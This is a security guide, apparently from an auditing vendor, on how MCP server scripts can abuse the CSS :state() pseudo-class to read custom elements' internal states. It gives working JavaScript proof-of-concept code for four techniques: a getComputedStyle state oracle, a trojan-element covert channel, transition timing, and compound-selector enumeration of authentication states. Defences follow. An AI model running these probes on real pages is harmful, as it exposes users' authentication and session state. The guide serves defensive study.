Security Guide

MCP server CSS Custom State pseudo-class security — :state() internal state oracle without JS access, ElementInternals cross-shadow DOM covert channel, state transition timing attack, compound boolean state enumeration

CSS Custom State pseudo-class (:state(), Chrome 125+, Firefox 126+) lets custom elements expose named boolean flags via ElementInternals.states. Unlike data-* attributes or CSS classes, custom states are designed to be opaque to external JavaScript — only CSS can observe them. But getComputedStyle on probe elements is JavaScript, and it reads CSS. This gap creates four attack surfaces for MCP server scripts: probing internal state without element reference, building cross-shadow covert channels using ElementInternals.states, detecting exact state transition timing via requestAnimationFrame, and enumerating precise state machine combinations with compound :host() selectors.

How CSS Custom States work and why they create leaks

Custom elements set internal states via this.internals.states.add('loading') inside the element class. External CSS can match those states with my-button:state(loading) { ... }. The key design intent is that JavaScript outside the shadow DOM cannot read ElementInternals.states — it is not exposed on the element's public interface. But CSS rules fire style recalculation, and style recalculation results are readable via getComputedStyle from any JavaScript context. An MCP server script that injects a style rule targeting :host(:state(loading)) can then read a CSS custom property value on a probe element to determine whether that state is currently active.

Attack 1: :state() probe reveals active internal states without JS access

An MCP server probes active internal states by injecting a stylesheet that sets a CSS custom property when a state matches, then reading that property via getComputedStyle. No access to ElementInternals, the shadow root, or any internal property is required.

// Custom state oracle — probes which named states are active on a custom element
// without any JS access to ElementInternals.states (which is not publicly exposed)

function probeCustomStates(element, stateNames) {
  const activeStates = [];
  const tagName = element.tagName.toLowerCase();

  for (const stateName of stateNames) {
    // Inject a style rule targeting the element's :state() pseudo-class
    // and setting a CSS custom property on the element itself
    const style = document.createElement('style');
    style.textContent = `
      ${tagName}:state(${stateName}) {
        --state-probe-${stateName}: active;
      }
    `;
    document.head.appendChild(style);

    // Read the CSS custom property via getComputedStyle
    const computed = getComputedStyle(element);
    const value = computed.getPropertyValue(`--state-probe-${stateName}`).trim();

    if (value === 'active') {
      activeStates.push(stateName);
    }

    document.head.removeChild(style);
  }

  return activeStates;
}

// Usage: probe a known custom element for security-relevant states
const authWidget = document.querySelector('auth-widget');
const states = probeCustomStates(authWidget, [
  'loading', 'authenticated', 'error', 'mfa-required',
  'session-expired', 'rate-limited', 'payment-pending',
  'admin', 'trial', 'locked'
]);
// Returns: ['authenticated', 'admin'] — internal state exposed without JS access

Custom states are not private: The spec design makes ElementInternals.states inaccessible from JavaScript outside the element. But CSS observability was not treated as a privacy boundary — getComputedStyle is the intended way to read CSS. Any MCP server that can inject a <style> element can enumerate all active custom states on any custom element in the document.

Attack 2: ElementInternals cross-shadow DOM covert channel

A compromised custom element definition (e.g., a MCP server that monkey-patches customElements.define before the host element is registered) can call ElementInternals.states.add() and .delete() to communicate state across shadow DOM boundaries without postMessage, shared DOM, or any explicit inter-element communication channel. The channel is one-directional: from inside the shadow to any CSS that observes :state() on the element's host node.

// Cross-shadow covert channel using ElementInternals.states
// Scenario: attacker has replaced or patched the custom element class before registration

class TrojanElement extends HTMLElement {
  #internals;

  constructor() {
    super();
    this.#internals = this.attachInternals();
  }

  // Called by legitimate host app to trigger a state change
  set userPlan(plan) {
    // Encode the plan tier as a combination of custom state flags
    this.#internals.states.delete('plan-free');
    this.#internals.states.delete('plan-pro');
    this.#internals.states.delete('plan-team');
    this.#internals.states.add(`plan-${plan}`); // encodes tier as named state

    // MCP observer code reads back via :state() CSS probe from outside shadow DOM
  }
}

// MCP observer — outside the shadow DOM, reads encoded state via CSS
// Sets up a MutationObserver on :state() style changes to detect updates
const target = document.querySelector('trojan-element');

const sentinel = document.createElement('div');
document.body.appendChild(sentinel);
const style = document.createElement('style');
style.textContent = `
  trojan-element:state(plan-pro) ~ #covert-sentinel { --plan: pro; }
  trojan-element:state(plan-team) ~ #covert-sentinel { --plan: team; }
  trojan-element:state(plan-free) ~ #covert-sentinel { --plan: free; }
`;
sentinel.id = 'covert-sentinel';
document.head.appendChild(style);

// Polling covert channel — reads state encoding once per animation frame
requestAnimationFrame(function readChannel() {
  const plan = getComputedStyle(sentinel).getPropertyValue('--plan').trim();
  if (plan) console.log('Encoded plan tier received:', plan);
  requestAnimationFrame(readChannel);
});

Attack 3: State transition timing reveals when internal operations complete

Custom states transition synchronously with the element's internal state changes. An element that sets this.internals.states.add('token-refreshed') on completion of an async auth token refresh causes an immediate style recalculation. By monitoring requestAnimationFrame timestamps before and after the transition, an MCP observer can determine the exact millisecond an authentication operation completed — without access to the element's promise, event emitter, or any public API.

// State transition timing oracle — detects when internal async operations complete
// No access to the element's promise, EventTarget, or any internal callback needed

function watchStateTransition(element, stateName, onTransition) {
  const tagName = element.tagName.toLowerCase();

  // Create a probe element positioned after the target in DOM order
  const probe = document.createElement('div');
  probe.id = `state-timing-probe-${stateName}`;
  element.after(probe);

  const style = document.createElement('style');
  style.textContent = `
    ${tagName}:state(${stateName}) + #state-timing-probe-${stateName} {
      --state-active: 1;
    }
  `;
  document.head.appendChild(style);

  let wasActive = false;

  function checkFrame(timestamp) {
    const active = getComputedStyle(probe)
      .getPropertyValue('--state-active').trim() === '1';

    if (active !== wasActive) {
      wasActive = active;
      onTransition({
        state: stateName,
        active,
        timestamp,
        // timestamp = DOMHighResTimeStamp from requestAnimationFrame
        // precise to 1ms (or 0.1ms with cross-origin isolation)
      });
    }

    requestAnimationFrame(checkFrame);
  }

  requestAnimationFrame(checkFrame);
  return () => { probe.remove(); style.remove(); };
}

// Example: detect when auth token refresh completes
watchStateTransition(
  document.querySelector('auth-token-manager'),
  'token-refreshed',
  ({ active, timestamp }) => {
    if (active) {
      console.log(`Token refresh completed at ${timestamp}ms`);
      // Attacker now knows window to attempt token theft before expiry timer resets
    }
  }
);

State transitions are synchronous with DOM updates: Because ElementInternals.states changes trigger synchronous style recalculation before the next paint frame, requestAnimationFrame callbacks observe state transitions with sub-frame precision. The timing of authenticated → mfa-required → authenticated transitions reveals MFA verification latency, which may fingerprint the backend auth provider.

Attack 4: Compound :host() selectors enumerate exact state machine combinations

Custom element states form a boolean state machine. An MCP server can enumerate the active combination of states using compound CSS selectors that express multi-state boolean conditions. By reading the computed value of a probe element whose styles depend on multiple :state() conditions simultaneously, the attacker narrows the element's internal state to a specific combination without requiring element access.

// Compound state enumeration — reads exact combination of active states
// Uses compound :host(:state(a)):not(:host(:state(b))) selectors
// to distinguish specific state machine configurations

function enumerateStateCombo(element, states) {
  const tagName = element.tagName.toLowerCase();
  const probe = document.createElement('div');
  probe.id = 'state-combo-probe';
  element.after(probe);

  // Build a stylesheet with one rule per possible active combination
  // Each rule encodes the combination as a CSS custom property value
  const combos = generateCombinations(states); // all 2^n subsets
  let cssText = '';

  for (const activeSet of combos) {
    const positiveConditions = activeSet
      .map(s => `${tagName}:state(${s})`)
      .join('');
    const negativeConditions = states
      .filter(s => !activeSet.includes(s))
      .map(s => `:not(${tagName}:state(${s}))`)
      .join('');

    const selector = `${positiveConditions}${negativeConditions} + #state-combo-probe`;
    const comboKey = activeSet.length ? activeSet.join(',') : 'none';

    cssText += `${selector} { --active-combo: "${comboKey}"; }\n`;
  }

  const style = document.createElement('style');
  style.textContent = cssText;
  document.head.appendChild(style);

  const combo = getComputedStyle(probe)
    .getPropertyValue('--active-combo').trim().replace(/"/g, '');

  style.remove();
  probe.remove();

  return combo ? combo.split(',') : [];
}

// Example: determine exact auth state combo for an auth-widget element
const result = enumerateStateCombo(
  document.querySelector('auth-widget'),
  ['loading', 'authenticated', 'mfa-required', 'session-expired']
);
// Returns: ['authenticated'] — user is authenticated, not loading, not in MFA, not expired
State combinationSecurity implicationProbes needed
authenticated aloneSession is active; no MFA pending1 rule
authenticated + mfa-requiredMFA screen showing — user is between auth steps1 rule
session-expired + loadingToken refresh in progress1 rule
none activeLogged out / not initialized1 rule
N statesAny exact combo2N rules, 1 read

SkillAudit findings for CSS Custom State attacks

HIGH:state() computed value oracle: probes which named internal states are active on any custom element using getComputedStyle on a probe element — no JS access to ElementInternals required.
MEDIUMElementInternals cross-shadow covert channel: a compromised custom element class uses states.add/delete to encode and transmit data across shadow DOM boundaries without postMessage or shared DOM nodes.
MEDIUMState transition timing oracle: requestAnimationFrame timestamp comparison detects sub-frame state changes, revealing when async operations (token refresh, payment processing) complete inside a custom element.
HIGHCompound state enumeration: 2^N CSS rules with compound :host(:state(x)):not(:host(:state(y))) conditions enumerate the exact active state machine configuration from a single getComputedStyle read.

Defences

Treat custom states as CSS-observable: Custom states set via ElementInternals.states are CSS-visible. Do not encode security-sensitive data (auth status, payment state, admin flag, MFA phase) as custom state names or as binary state combinations. Use only UI-relevant states (loading, error, disabled) that carry no sensitive information when read externally.

Restrict style injection: All four attacks require injecting a <style> element or inline style. CSP style-src 'self' without 'unsafe-inline' prevents MCP server scripts from injecting probe stylesheets. Audit MCP servers that request document.head access or style injection via tool calls.

Prefer attribute-based state for truly opaque values: If a custom element must expose state to parent CSS without leaking semantic meaning, use opaque numeric or hashed values in data-* attributes rather than named custom states. CSS attribute selectors can match these but the names carry no semantic meaning to automated probes.

Audit custom element definitions in third-party MCP tools: SkillAudit flags customElements.define calls inside MCP server code as high-risk — a MCP server that registers custom elements before the host application can intercept the host's custom element definitions, gaining access to ElementInternals for the life of the page.

Related: CSS @scope proximity security · CSS Nesting autofill detection · CSS Cascade Layers ordering security